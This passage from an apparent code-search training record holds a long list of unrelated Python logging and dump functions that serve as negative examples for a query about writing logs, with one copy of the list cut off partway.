ismart_log"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def dump_to_log(self):\n # self._send_request(\"/dumpToLog\")\n pass","def dump(self):\n self.logger.debug(self)","def getLogs():","def getLogs():","def _dump_test_parser_log(self):\n\t\tFileSystem.dump_to(self._result_directory_name + \"/\" + \"Test_Parser.log\", self._form_test_parser_log())","def getLog(self):\n pass","def dump(log, file):\n file.write('FSH|%s|PyDL7|ZXU|%s|\\n' %\n (log.metadata.get('encoding_characters', '^~<>{}'),\n log.created.strftime('%Y%m%d%H%M%S')))\n file.write('ZRH|%s|%s|%s|%s|%s|%s|%s|%s|\\n' %\n (log.metadata.get('encoding_characters', '^~<>{}'),\n log.computer_model,\n log.computer_serial,\n log.depth_pressure_unit,\n log.altitude_unit,\n log.temperature_unit,\n log.tank_pressure_unit,\n log.tank_volume_unit))\n for dive in log.dives:\n file.write('ZDH|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|\\n' %\n (dive.metadata.get('export_sequence', dive.sequence_number),\n dive.sequence_number,\n dive.metadata.get('record_type', 'M'),\n dive.recording_interval,\n dive.leave_surface_time.strftime('%Y%m%d%H%M%S'),\n dive.air_temperature,\n dive.tank_volume,\n dive.O2_mode,\n dive.rebreather_diluent_gas,\n dive.altitude))\n if dive.record:\n file.write('ZDP{\\n')\n for detail in dive.record:\n file.write('|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|\\n' %\n (detail.elapsed_time,\n detail.depth,\n detail.gas_switch,\n detail.current_PO2,\n str(detail.ascent_rate_violation)[0],\n str(detail.decompression_violation)[0],\n detail.current_ceiling,\n detail.water_temperature,\n detail.warning_number,\n detail.main_cylinder_pressure,\n detail.diluent_cylinder_pressure,\n detail.oxygen_flow_rate,\n detail.CNS_toxicity,\n detail.OUT,\n detail.ascent_rate))\n file.write('ZDP}\\n')\n file.write('ZDT|%s|%s|%s|%s|%s|%s|\\n' %\n (dive.metadata.get('export_sequence', dive.sequence_number),\n dive.sequence_number,\n dive.max_depth,\n dive.reach_surface_time.strftime('%Y%m%d%H%M%S'),\n dive.min_water_temperature,\n dive.pressure_drop))","def dump(self):\n with open(self.file, 'w', encoding='utf-8') as f:\n json.dump(self.log_data, f, ensure_ascii=False, indent=4)","def log_all(self):\n self.save_raw()\n self.log()","def log(self):\n f = open(self.log_dir + 'parsed.log', 'a')\n try:\n # Write: local time | CurrentCost \"time\" | id | temp/C | power/W \n f.write(\"%s\\t%s\\t%s\\t%s\\t%s\\n\" \n % (self.ts('now'), self.ts('cc'), self.id, self.temp, self.watts))\n finally:\n f.close()","def log(self):\n\t\tfilename = '/var/log/postunsuspendacct-%s.log' % self.argv.get('user')\n\t\tfileobj = open(filename, 'w');\n\t\tfileobj.write(self.title)\n\t\tfor (key, value) in self.argv.items():\n\t\t\tfileobj.write('%s: %s\\n' % (key, value))\n\t\tfileobj.close()\n\t\tprint \"[%s] Log saved '%s'\" % (ctime(), filename)","def logsave(self):\n log_file = open(self.conf[\"output_prefix\"] + \"_log.txt\", \"w\")\n try:\n log_file.write(self.log)\n finally:\n log_file.close()","def print_im_aldb(service):\n # For now this sends logs to the log file.\n # Future direction is to create an INSTEON control panel.\n print_aldb_to_log(insteon_modem.aldb)","def event_log(self):\n pass","def dump(self):\n str_dict = convert_to_string_only_dict(self.as_dict())\n\n file_name = os.path.join(self.log_dir, self.config_file_name)\n with open(file_name, 'w') as fp:\n json.dump(str_dict, fp, sort_keys=True, indent=4, separators=(',', ': '))\n print('Created log file: {}'.format(file_name))","def getLog(self):\n return self.session.request('diag/log/')","def InsertLog():","def print_aldb(service):\n # For now this sends logs to the log file.\n # Future direction is to create an INSTEON control panel.\n entity_id = service.data[CONF_ENTITY_ID]\n signal = f\"{entity_id}_{SIGNAL_PRINT_ALDB}\"\n dispatcher_send(hass, signal)","def dump(self) -> None:\n ...","def dump_to_log(self, log_dir, log_filename):\n\t\twith open(os.path.join(log_dir, log_filename), \"w\") as f:\n\t\t\tf.write(\"================ Arguments ==================\\n\")\n\t\t\tfor k, v in vars(self).items():\n\t\t\t\tf.write(\"{} : {}\\n\".format(k, v))\n\t\t\tf.write(\"=============================================\\n\")","def _log2mylog(self, msg):\n time_str = mod_time.strftime(\n \"%Y-%m-%d %H:%M:%S\", mod_time.localtime(mod_time.time())\n )\n msg = str(msg)\n content = \"%s [%s]\\n\" % (time_str, msg)\n fa = open(self.mylogfile, \"a\")\n fa.write(content)\n fa.close()","def on_start(self):\r\n self.log()","def log_data(self):\n\n self.check_dir()\n with open(self.log_file, \"a\") as logger_file:\n logger_file.write(\"{}, {}\\n\".format(self.time, self.msg))","def log(self):\n LOG = {'tables': [{'state': self.state, 'name': 'Hearing', 'inserted': self.H_INS, 'updated': 0, 'deleted': 0},\n {'state': self.state, 'name': 'CommitteeHearing', 'inserted': self.CH_INS, 'updated': 0, 'deleted': 0},\n {'state': self.state, 'name': 'HearingAgenda', 'inserted': self.HA_INS, 'updated': self.HA_UPD,\n 'deleted': 0}]}\n self.logger.info(LOG)\n sys.stdout.write(json.dumps(LOG))","def core_dump(self):\r\r\n loggerModem = logging.getLogger(__name__ + 'core_dump')\r\r\n cmd_l=[r'at%debug=0', r'at%debug=2']\r\r\n cmd_str='\\r\\n'.join(cmd_l)\r\r\n\r\r\n text_str = \"AT command\"\r\r\n if self.dumpfile:\r\r\n loggerModem.debug(\"Core file : %s\" % self.dumpfile)\r\r\n loggerModem.debug(\"%-15s:\\t%s\" %(text_str, cmd_str))\r\r\n with open(self.dumpfile, 'wb') as fd:\r\r\n cmd_str = cmd_str + '\\r\\n'\r\r\n self.serObj.write(cmd_str) # write a string\r\r\n len_rd=0\r\r\n response = self.serObj.read(2**16)\r\r\n while len(response)>0:\r\r\n len_rd += len(response)\r\r\n loggerModem.debug(\"read %s bytes, current_len=%s\" % (len(response), len_rd))\r\r\n fd.write(response)\r\r\n response = self.serObj.read(2**16)\r\r\n loggerModem.info(\"Created core dump: %s\" % self.dumpfile)\r\r\n else:\r\r\n loggerModem.info(\"No core dump as no dump file specified!\")","async def _record_logs(self, report):\n\t\tif report.action == Frame.Report.PARSE:\n\t\t\t# Collects the tests parsing log for further writing to Test_Parser.log\n\t\t\tif report.success:\n\t\t\t\tself._parse_logs[\"success\"] += [report.log]\n\t\t\telse:\n\t\t\t\tself._parse_logs[\"failure\"] += [report.log]\n\t\telif report.action == Frame.Report.EXECUTE:\n\t\t\t# Writes a test log and dump to the results directory\n\t\t\ttest_log = (\"EXECUTE STATUS: SUCCESS\\n\\n\" if report.success else \"EXECUTE STATUS: FAILURE\\n\\n\") + report.log\n\t\t\tfor task in as_completed([self._event_loop.run_in_executor(self._thread_executor, FileSystem.dump_to, \n\t\t\t\t self._result_directory_name + \"/Log/\" + report.test_name + \".log\", test_log)]):\n\t\t\t\tawait task\n\t\t\tfor task in as_completed([self._event_loop.run_in_executor(self._thread_executor, TestLogger._write_test_dump, \n\t\t\t\t self._result_directory_name + \"/Dump/\" + report.test_name + \".pcap\", report.dump)]):\n\t\t\t\tawait task","def setup_logfile():\r\n from core.general.appinit import log_init\r\n log_init(\r\n 'general',\r\n 'django_api'\r\n )","def dumpDmesg(self):\n pass","def make_log():\n log_file = os.path.join(phys_dir,'ge_phys2bids_'+datetime.now().strftime(\"%Y-%m-%d_%H-%M-%S\")+'.log')\n with open(log_file,'w') as log:\n log.write('-------- GE phys2bids --------\\n\\n')\n log.write('DICOM directory: %s\\n'%dcm_dir)\n log.write('Physiology directory: %s\\n'%phys_dir)\n log.write('Output directory: %s\\n\\n'%out_dir)\n log.write('%d EPI files were found\\n\\n'%len(dcm_dict))\n for rn in dcm_dict.keys():\n log.write('------------------------------\\n')\n log.write('%s\\n'%dcm_dict[rn]['out_name'])\n log.write('Start time: %s\\n'%dcm_dict[rn]['start_time'].strftime(\"%Y-%m-%d %H:%M:%S\"))\n log.write('End time: %s\\n'%dcm_dict[rn]['end_time'].strftime(\"%Y-%m-%d %H:%M:%S\"))\n log.write('PPG file: %s\\n'%dcm_dict[rn]['ppg_file'])\n log.write('Respiration file: %s\\n'%dcm_dict[rn]['resp_file'])\n log.write('ECG file: %s\\n'%dcm_dict[rn]['ecg_file'])\n log.write('------------------------------\\n\\n')","def dump(self, filename=None):\n if filename is None:\n current_datetime = datetime.datetime.now()\n filename = current_datetime.strftime(\"results_%Y%m%d%H%M%S.csv\")\n print(\"Writing results to \\\"{}\\\"\".format(filename))\n identifiers = \"\"\n values = \"\"\n for entry in self.log.items():\n identifiers += ((\";\" if len(identifiers) > 0 else \"\")\n + str(entry[0]))\n values += \";\" + str(entry[1]) if len(values) > 0 else str(entry[1])\n with open(filename, 'a') as f:\n f.write(identifiers + \"\\n\")\n f.write(values + \"\\n\")","def Log(self, times):\n\n print '--'\n print times.PrettyPrintLog()\n\n return","def export_log(self):\r\n if self.log[\"datetime\"] is not None and not self.log[\"datetime\"] == \"\":\r\n logs_dir = ''\r\n user = 'default'\r\n program_data = 'data\\program_data.json5'\r\n with open(program_data) as f:\r\n config = json.load(f)\r\n logs_dir = config.get(\"logs_records_path\", \"\")\r\n user = config.get(\"user\", \"default\")\r\n file_name = user+\" \"+self.log[\"datetime\"].replace(\"/\", \"\")\r\n file_name = file_name.replace(\" \", \"_\")\r\n file_name = file_name.replace(\":\", \"\")\r\n cwd = os.getcwd()\r\n if not logs_dir == \"\" and os.path.exists(logs_dir):\r\n if not user in os.listdir(logs_dir):\r\n os.makedirs(os.path.join(logs_dir, user))\r\n logs_dir = os.path.join(logs_dir, user)\r\n file_name = os.path.join(logs_dir, file_name)\r\n self.save_records(file_name)\r\n elif \"logs\" in os.listdir(cwd):\r\n folder = os.path.join(cwd, \"logs\")\r\n file_name = os.path.join(folder, file_name)\r\n self.save_records(file_name)\r\n self.reset_values()","def log(self):\n resp = requests.get(\"%s/api/log\"%self.urlbase, verify=False)\n return resp.json[\"log\"]","def _log(self, action: types.NestedArray) -> None:\n if self._logger is None:\n return\n self._logger.info('{}, {}, {}, {}, {}, {}, {}'.format(\n self._last_timestep.observation['STAGE'],\n self._last_timestep.observation['CHIPS'],\n self._last_timestep.observation['PLAYER_TOTAL'],\n self._last_timestep.observation['PLAYER_ACES'],\n self._last_timestep.observation['DEALER_TOTAL'],\n action,\n self._deck_distribution))","def dump(self, stream):\n log.error('Cannot dump: %s', self.file_name)","def write_debug_log(self, msg):\n now = datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n with open(self.debug_log, 'a+') as logfile:\n logfile.write(\"%s: %s\\n\" % (now, msg))","def _save_logs(self):\n logger.info(\"Saving call logs\")\n data = [c.to_dict() for c in self.logs[:29]]\n tichy.Persistance('calls/logs').save(data)","def _log_to_file(self, message):\n if self.log is not None:\n message = \"[%s] %s\" % (datetime.datetime.utcnow().strftime('%H:%M:%S'), message)\n self.log.write(\"%s\\n\" % (message,))\n self.log.flush()\n print message","def _log(self, log, message):\n log_entry = '[%s] %s\\n' % (time.strftime('%Y/%m/%d %H:%M:%S'), message)\n log.write(log_entry)\n if self.verbose:\n print log_entry.rstrip()","def getLogs():\n # in flux, it may be possible to provide more structured information\n # like python Failure instances","def log(self, msg):\n self.ansible.log(msg)","def log_schedule(self):\n self.logger.log_schedule(self.params.schedule)","def get_device_log(self, client):\r\n file_path = client.getDeviceLog()\r\n logging.info(str(time.asctime(time.localtime())) + \" Device Logs collected !! \" + file_path)\r\n #self.logger.info(\"Device logs collected at %s\" % file_path)\r\n return file_path","def log(self):\r\n return self._log","def logs(self, container: Container) -> str:","def dump(data):\n if Utils.memdmp is None:\n Utils.memdmp = list()\n if NS.LOG_DISABLED is True:\n Utils.memdmp.append(data)\n if Utils.dmpfile is None and NS.LOG_DISABLED is False:\n Utils.dmpfile = open(r\"C:\\\\ProgramData\\\\Dmp.txt\", \"w\") \n if NS.LOG_DISABLED is False:\n Utils.dmpfile.write(str(data))","def logging_data(self):\n with open('sensor_data.log','w') as f:\n json.dump(self.read_continuous_data, f)","def writeToLogFile(self, event):\n outPutStr = '{:013}'.format(0)\n logOutPutStr = outPutStr + '\\t' + '{:.2f}'.format (time ()) + '\\t' + event + '\\t' + datetime.fromtimestamp (int (time())).isoformat (' ')\n printOutPutStr = outPutStr + '\\t' + datetime.fromtimestamp (int (time())).isoformat (' ') + '\\t' + event\n print (printOutPutStr)\n if self.logFP is not None:\n self.logFP.write(logOutPutStr + '\\n')\n self.logFP.flush()","def _stdlog(self, msg):\n print msg\n logger.info(msg)","def logFile(self):\n\n event = 'stim'\n mStr = '{:013}'.format(self.mouse.tag) + '\\t'\n outPutStr = mStr + \\\n datetime.fromtimestamp(int(time())).isoformat(' ') + '\\t' + event\n print (outPutStr)\n if self.textfp != None:\n outPutStr = mStr + '{:.2f}'.format(time()) + '\\t' + event\n self.textfp.write(outPutStr + '\\n')\n self.textfp.flush()","def debug_log(self, buf, shell):\n\n # Handle Shell output\n if shell == True:\n self.debugfile.write(\"<shell time=\\\" \" + datetime.datetime.now().strftime(\"%H:%M:%S \") + \"\\\" >\" )\n self.debugfile.write(\"<![CDATA[\"+buf+\"]]></shell>\\n\")\n\n # Handle User Input\n else:\n self.debugfile.write(\"<user time=\\\" \" + datetime.datetime.now().strftime(\"%H:%M:%S \") + \"\\\" >\" )\n self.debugfile.write(\"<![CDATA[\"+buf+\"]]></user>\\n\")","def printer (self, logfile):\n print >> logfile, \"Hsp {}\".format(self.num)\n print >> logfile, \"Strand: {}\".format(self.strand)\n print >> logfile, \"Frame: {}\".format(self.frame)\n print >> logfile, \"Start: {}, End: {}\".format(self.query_start, self.query_end)","def collect_core_dump(self, log_dir):\n pass","def log(self):\n\n\t\t# Only every 1/10 second (or so) to avoid flooding networktables\n\t\tif not self.log_timer.running or not self.log_timer.hasPeriodPassed(self.log_timer_delay):\n\t\t\treturn\n\n\t\twpilib.SmartDashboard.putString('Pressure', '{0:.2f}'.format(self.get_pressure()))\n\t\twpilib.SmartDashboard.putBoolean(\"Garbo?\", self.is_pbot)\n\n\t\tself.drive.log()\n\t\tself.elevator.log()\n\t\tself.intake.log()","def print_aldb_to_log(aldb):\n _LOGGER.info(\"ALDB load status is %s\", aldb.status.name)\n if aldb.status not in [ALDBStatus.LOADED, ALDBStatus.PARTIAL]:\n _LOGGER.warning(\"Device All-Link database not loaded\")\n _LOGGER.warning(\"Use service insteon.load_aldb first\")\n return\n\n _LOGGER.info(\"RecID In Use Mode HWM Group Address Data 1 Data 2 Data 3\")\n _LOGGER.info(\"----- ------ ---- --- ----- -------- ------ ------ ------\")\n for mem_addr in aldb:\n rec = aldb[mem_addr]\n # For now we write this to the log\n # Roadmap is to create a configuration panel\n in_use = \"Y\" if rec.control_flags.is_in_use else \"N\"\n mode = \"C\" if rec.control_flags.is_controller else \"R\"\n hwm = \"Y\" if rec.control_flags.is_high_water_mark else \"N\"\n log_msg = (\n f\" {rec.mem_addr:04x} {in_use:s} {mode:s} {hwm:s} \"\n f\"{rec.group:3d} {rec.address.human:s} {rec.data1:3d} \"\n f\"{rec.data2:3d} {rec.data3:3d}\"\n )\n _LOGGER.info(log_msg)","def log(self, message):","def task_records_to_log(self, records: List[Any]) -> None:\n for r in records:\n self._logger.info(\n \"[%s]: %s - %s - %s/%s\",\n r[\"createdDateTime\"],\n r[\"userPrincipalName\"],\n r[\"ipAddress\"],\n r[\"location\"][\"countryOrRegion\"],\n r[\"location\"][\"city\"],\n )","def test_case(self):\n log.e('error日志')\n log.d('debug日志')\n log.i('info日志')\n log.w('warning日志')","def write_log(self, msg: str):\n self.cta_engine.write_log(msg, self)","def write_flow_log(pulses):\n flow_settings = get_flow_options()\n logline = (\n '{\"Time\":\"'\n + time.strftime('%H:%M:%S\",\"Date\":\"%d-%m-%Y\"', time.gmtime(gv.now))\n + ',\"Flow\":\"'\n + str(pulses)\n + '\"}\\n'\n )\n print(logline)\n log = read_flow_log()\n log.insert(0, logline)\n with open(\"./data/flowlog.json\", \"w\") as f:\n if int(flow_settings[\"records\"]) != 0:\n f.writelines(log[: int(flow_settings[\"records\"])])\n else:\n f.writelines(log)\n return","def get_fund_logfile():\n return \"fund\" + get_day() + \".log\"","def on_a(self):\r\n self.log()","def save_copy_log(self):\n if self.packaging_wrapper and self.finish_log:\n with open(\n '{}/copy_log.log'.format(self.packaging_wrapper.dest_root),\n 'w') as log_file:\n self.finish_log[0] = self.finish_log[0].replace('\\n\\n', '')\n log_file.writelines(self.finish_log)","def log (self):\n return self._log","def log(self, msg):\n print(msg)","def dumpHTTP(self, req, resp, content):\n fmt = '[%s] %s %s %s| %s %s\\n'\n dt_now = datetime.datetime.now()\n str_now = dt_now.strftime('%Y-%m-%d %H:%M:%S')\n\n #\n url = req['URL']\n method = req['method']\n body = req['request-body']\n post_data = ''\n if body and isinstance(body, StringType) and len(body):\n post_data = body\n pass\n #print(type(resp))\n if resp and isinstance(resp, DictionaryType) and len(resp):\n resp = 'response_status : %s' % (resp.get('status', 'None'))\n content = ''\n pass\n\n ss = fmt % (str_now, method, url, post_data, resp, content)\n print(ss)\n #\n\n\n logfile1 = os.path.join(os.getenv('G_LOG', '/root/automation/logs'), 'current/post_file_requests.log')\n logfile2 = os.path.join(\n os.getenv('U_DEBUG_HTTP_PLAY', os.getenv('G_CUREENTLOG', '/root/automation/logs/current')),\n 'post_file_requests.log')\n\n logfiles = []\n logfiles.append(logfile1)\n if logfile1 != logfile2:\n logfiles.append(logfile2)\n pass\n\n for logfile in logfiles:\n try:\n fd = open(logfile, 'a+')\n if fd:\n fd.write(ss)\n fd.close()\n pass\n pass\n except Exception, e:\n print('write debug log file(%s) failed : %s' % (logfile, e))\n pass\n pass\n\n pass","def dump_diags():\n try:\n stat_log.info(\"=== DIAGNOSTICS ===\")\n for name, diags_function in _registered_diags:\n stat_log.info(\"--- %s ---\", name)\n diags_function(stat_log)\n stat_log.info(\"=== END OF DIAGNOSTICS ===\")\n except Exception:\n # We don't want to take down the process we're trying to diagnose...\n try:\n stat_log.exception(\"Failed to dump diagnostics\")\n except Exception:\n pass","def print_logs(self, to_file=True):\n logging.info(\"Printing Log Data\")\n ml = self.monk_logs\n cursor = ml.find({})\n if to_file:\n ff = open(\"log_data.txt\", \"w+\")\n logging.info(\"Writing to file: \" + os.getcwd() + \"/log_data.txt\")\n for log in cursor:\n date = list(log.keys())[1]\n log = {date: log[date]}\n ff.writelines(json.dumps(log) + \"\\n\")\n ff.close()\n else:\n for log in cursor:\n date = list(log.keys())[1]\n log = {date: log[date]}\n print(json.dumps(log))","def log(self, msg=None):\n f = open(self.logbook, 'a')\n # if send or receive, write message\n if msg: \n f.write(\" System time: \" + str(datetime.now()) + \n \" Logical clock time: \" + str(self.clock_time) + \n \" \" + str(msg) + '\\n')\n # if it is an internal event just write the system time and current\n # logical clock time\n else:\n f.write(\" System time: \" + str(datetime.now()) + \n \" Logical clock time: \" + str(self.clock_time) + '\\n')\n f.close()","def log(msg=\"\"):\n print(msg)\n sys.stdout.flush()\n f = open(\"/target/testdriver.log\", \"a\")\n f.write('{:%Y-%m-%d %H:%M:%S.%s} :: '.format(datetime.datetime.now()))\n f.write(f\"{msg}\\n\")\n f.close()","def on_sync(self):\r\n self.log()","def _forward_log(self):\n\n if self.log is None:\n return\n\n fd = None\n try:\n fd = os.open(\"%s.out\" % self.vm_log_path, os.O_RDONLY)\n data = \"\"\n while True:\n new_data = os.read(fd, 4096)\n if new_data == \"\":\n self._log_to_file(data)\n return\n\n data += new_data\n lines = data.split(\"\\n\")\n for line in lines[:-1]:\n self._log_to_file(line)\n data = lines[-1]\n\n finally:\n if fd is not None:\n os.close(fd)","def copy_log_details(self) -> Sequence[Any]:\n return pulumi.get(self, \"copy_log_details\")","def copy_log_details(self) -> Sequence[Any]:\n return pulumi.get(self, \"copy_log_details\")","def copy_log_details(self) -> Sequence[Any]:\n return pulumi.get(self, \"copy_log_details\")","def setup_script_logging():\n #handlers = [logbook.NullHandler()]\n format_str = (\"[{record.time:%Y-%m-%dT%H:%MZ}] \"\n \"{record.level_name}: {record.message}\")\n\n #handler = logbook.StreamHandler(sys.stderr, format_string=format_str,\n # level=\"DEBUG\")\n #handler.push_thread()\n #return handler","def _logger(self):\r\n\r\n # Create filename for log\r\n filenameF = self._vna.getDateFormatted() + \".txt\"\r\n filenameF = \"Logs/\" + filenameF \r\n f = open(filenameF, \"a+\") # Log saved in directory named logs located in same directory as this file\r\n \r\n # if self._vna.isTwoComponents():\r\n # for i in range(len(self._voltages)):\r\n # f.write('%s\\t\\t\\t' % self._voltages[i][0])\r\n # else:\r\n for i in range(len(self._voltages)):\r\n f.write('%s\\t\\t' % self._voltages[i][0])\r\n f.write('\\n')\r\n\r\n # if self._vna.isTwoComponents():\r\n # for i in range(len(self._voltages[0])):\r\n # line = \"\"\r\n # for j in range(len(self._voltages)):\r\n # line = line + str(self._frequency[j][i]) + '\\t' + str(self._intensity[j][2*i]) + \\\r\n # str(self._intensity[j][2*i + 1]) + '\\t'\r\n # f.write(line)\r\n # f.write('\\n')\r\n # else: \r\n for i in range(len(self._voltages[0])):\r\n line = \"\"\r\n for j in range(len(self._voltages)):\r\n line = line + str(self._frequency[j][i]) + '\\t' + str(self._intensity[j][i]) + '\\t' \r\n f.write(line)\r\n f.write('\\n')","def send_log():\n log.info(f\"UUID={UUID}\")\n log.info(f\"SPLIT={SPLIT}\")\n log.info(f\"BATCH_SIZE={BATCH_SIZE}\")\n log.info(f\"EPOCHS={EPOCHS}\")\n log.info(f\"PATIENCE={PATIENCE}\")\n log.info(f\"X_FREQ={X_FREQ}\")\n log.info(f\"LOOK_BACK={LOOK_BACK}\")\n log.info(f\"LOOK_AHEAD={LOOK_AHEAD}\")\n log.info(f\"KERNEL_SIZE={KERNEL_SIZE}\")\n log.info(f\"FILTERS={FILTERS}\")\n log.info(f\"L1L2={L1L2}\")\n log.info(f\"D1={D1}\")\n log.info(f\"D2={D2}\")\n log.info(f\"DOUT={DOUT}\")\n log.info(f\"PLOT={PLOT}\")\n log.info(f\"SHUFFLE={SHUFFLE}\")","def dump(self):\n return","def _stab_log_data(self, timestamp, data, logconf):\n print('[%d][%s]: %s' % (timestamp, logconf.name, data))","def log(self, msg):\n logging.info(\"Logging Message\")\n ml = self.monk_logs\n today = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M\")\n ml.insert({today: {\"log\": msg,\n \"sentiment\": self.get_sentiment(msg),\n \"weather\": Weather.get_weather()}})","def getLog(self):\n return self.log","def getLog(self):\n return self.log","def get_full_log(self):\n return self._get_log('full')","def on_log( client, userdata, level, buf ):\n print( \"MQTTClient log: \", buf )","def log(self, client_addr, request):\n with codecs.open(self.log_path, \"a\", 'UTF-8') as fh_out:\n print >> fh_out, (time.strftime('%Y-%m-%d %H:%M:%S') + \"\\t\" +\n ':'.join([str(i) for i in client_addr]) + \"\\t\" +\n request)","def LOG(s):\n logfilejosi = open('/var/log/vamdc_josi.log','a')\n s = str(s)\n logfilejosi.write(s + '\\n')","def on_log(self, mqtt_client, userdata, level, buf):\n logging.debug(\"DEBUG - on_log received\")","def logging(self):\r\n return None","def log_request(forecast):\n from time import gmtime, strftime\n current_day = strftime(\"%d/%m/%Y\", gmtime())\n current_time = strftime(\"%H:%M\", gmtime())\n\n with open('locations.log', 'a') as log:\n # print(request.remote_addr, file=log) # IP address\n # print(request.user_agent, file=log) # User agent\n # print(where.title(), current, forecast, file=log, sep=' | ')\n\n location = forecast['location']\n temperature = str(forecast['temperature']) + '°C'\n weather = forecast['weather']\n print(location.title(), current_day, current_time, temperature, weather.title(), file=log, sep=' | ')","def log(self):\n return self._log","def log(self):\n return self._log","def log(self, event):\n\n log_message = '{} - {} file: {}'.format(\n datetime.now().strftime('%Y-%m-%d %H:%M:%S'),\n event.event_type.capitalize(),\n event.src_path\n )\n\n if hasattr(event, 'dest_path'):\n log_message += ' => {}'.format(event.dest_path)\n\n sys.stdout.write(log_message + '\\n')\n sys.stdout.flush()","def log(msg):\n\n print('datastore: %s' % msg)","def log(self, msg):\n current_datetime = self.get_date_time()\n self.file.write(\"%s %s\\n\" % (current_datetime, msg))","def DumpInfo(self):\n if self.logdir is None:\n return\n self.dumpfile = '%s/preprocess_info.yaml' % (self.logdir)\n try:\n f = open(self.dumpfile,'w')\n f.write(yaml.dump(self.info,default_flow_style=False, indent=4))\n f.close()\n except IOError:\n self.errors = True\n errstr = 'Error accessing %s' % self.dumpfile\n raise IOError(errstr)\n self.LogErrors(errstr)","def save(self, fh):\n\t\t#first write head of file\n\t\tfh.write('+INFO:IEEE 802.15.4 ZigBeeSniffer Log.\\r\\n')\n\t\tfh.write('+DATE:' + time.ctime() + '\\r\\n')\n\t\tfor packet in self.packets:\n\t\t\tload = [len(packet.load)] + packet.load\n\t\t\tload = map(str, map(hex, load))\t# int->hex->str\n\t\t\tload = map(lambda x: ('0'+x[2:])[-2:].upper(), load)\t# 0xa -> 0A\n\t\t\tload = ','.join(load)\t\t\t\t\t\t# glue it back\n\t\t\ttimee = ','.join(packet.time)\n\t\t\tfh.write('+FRAM:' + timee + ',' + load + '\\r\\n')\n\t\t\t\n\t\tfor node in self.nodes.nodes:\n\t\t\tpan = node.panId[2:] # cut '0x' from begining\n\t\t\taddr = node.address[2:] # cut '0x' from begining\n\t\t\tline = '+NODE:\"%s\"' % node.name\n\t\t\tline += ',%s,%s' % (pan[2:], pan[:2]) if pan else ',??,??' # PAN-ID\n\t\t\t#now split address into pairs (bytes):\n\t\t\tpairs = map(''.join, zip(iter(addr), iter(addr)))\n\t\t\tfor pair in reversed(pairs): \n\t\t\t\tline += ',%s' % pair\n\t\t\tfor i in range(8 - len(pairs)):\n\t\t\t\tline += ',??'\n\t\t\tline += '\\r\\n'\n\t\t\tfh.write(line)\n\t\t\n\t\tself.changed(False)","def setup_logging(\n format_file=\"%(asctime)s - [%(levelname)s:%(name)s] %(message)s\",\n format_stout=\"[%(levelname)s:%(name)s] %(message)s\",\n level=logging.INFO,\n filename=f\"{DIR_SIMFILES}/_mdsea_logdump.log\",\n maxbytes=500000, # 500 kB\n) -> None:\n import logging\n import os\n\n looger_root = logging.getLogger(\"mdsea\")\n looger_root.setLevel(level=level)\n\n # SUPPRESSED_MODULES = (\"matplotlib\", \"apptools\", \"asyncio\", \"mayavi\", \"pyface\")\n\n # Set StreamHandler\n handler = logging.StreamHandler()\n handler.setFormatter(logging.Formatter(fmt=format_stout))\n handler.setLevel(level=level)\n looger_root.addHandler(handler)\n\n # Check if the directory where the log will live exists\n _dir = \"/\".join(filename.split(\"/\")[:-1])\n if not os.path.exists(_dir):\n os.mkdir(_dir)\n\n # Set RotatingFileHandler\n handler = RotatingFileHandler(filename, maxBytes=maxbytes, backupCount=1)\n handler.setFormatter(fmt=logging.Formatter(format_file))\n handler.setLevel(level=level)\n looger_root.addHandler(handler)\n\n looger_root.debug(\"logging setup successful!\")","def putlog(self,s):\n if not self.logqueue == None:\n# print s\n self.logqueue.put(\"Spectrum: (\"+time.ctime()+\"):\\n\"+s)","def saveLogs():\n\tprint(\"Saving logs...\")\n\tfor log in logClass.logs:\n\t\tlogClass.logs[log].saveLog()\n\t\tprint(\"Saved:\",log)"],"string":"[\n \"def dump_to_log(self):\\n # self._send_request(\\\"/dumpToLog\\\")\\n pass\",\n \"def dump(self):\\n self.logger.debug(self)\",\n \"def getLogs():\",\n \"def getLogs():\",\n \"def _dump_test_parser_log(self):\\n\\t\\tFileSystem.dump_to(self._result_directory_name + \\\"/\\\" + \\\"Test_Parser.log\\\", self._form_test_parser_log())\",\n \"def getLog(self):\\n pass\",\n \"def dump(log, file):\\n file.write('FSH|%s|PyDL7|ZXU|%s|\\\\n' %\\n (log.metadata.get('encoding_characters', '^~<>{}'),\\n log.created.strftime('%Y%m%d%H%M%S')))\\n file.write('ZRH|%s|%s|%s|%s|%s|%s|%s|%s|\\\\n' %\\n (log.metadata.get('encoding_characters', '^~<>{}'),\\n log.computer_model,\\n log.computer_serial,\\n log.depth_pressure_unit,\\n log.altitude_unit,\\n log.temperature_unit,\\n log.tank_pressure_unit,\\n log.tank_volume_unit))\\n for dive in log.dives:\\n file.write('ZDH|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|\\\\n' %\\n (dive.metadata.get('export_sequence', dive.sequence_number),\\n dive.sequence_number,\\n dive.metadata.get('record_type', 'M'),\\n dive.recording_interval,\\n dive.leave_surface_time.strftime('%Y%m%d%H%M%S'),\\n dive.air_temperature,\\n dive.tank_volume,\\n dive.O2_mode,\\n dive.rebreather_diluent_gas,\\n dive.altitude))\\n if dive.record:\\n file.write('ZDP{\\\\n')\\n for detail in dive.record:\\n file.write('|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|\\\\n' %\\n (detail.elapsed_time,\\n detail.depth,\\n detail.gas_switch,\\n detail.current_PO2,\\n str(detail.ascent_rate_violation)[0],\\n str(detail.decompression_violation)[0],\\n detail.current_ceiling,\\n detail.water_temperature,\\n detail.warning_number,\\n detail.main_cylinder_pressure,\\n detail.diluent_cylinder_pressure,\\n detail.oxygen_flow_rate,\\n detail.CNS_toxicity,\\n detail.OUT,\\n detail.ascent_rate))\\n file.write('ZDP}\\\\n')\\n file.write('ZDT|%s|%s|%s|%s|%s|%s|\\\\n' %\\n (dive.metadata.get('export_sequence', dive.sequence_number),\\n dive.sequence_number,\\n dive.max_depth,\\n dive.reach_surface_time.strftime('%Y%m%d%H%M%S'),\\n dive.min_water_temperature,\\n dive.pressure_drop))\",\n \"def dump(self):\\n with open(self.file, 'w', encoding='utf-8') as 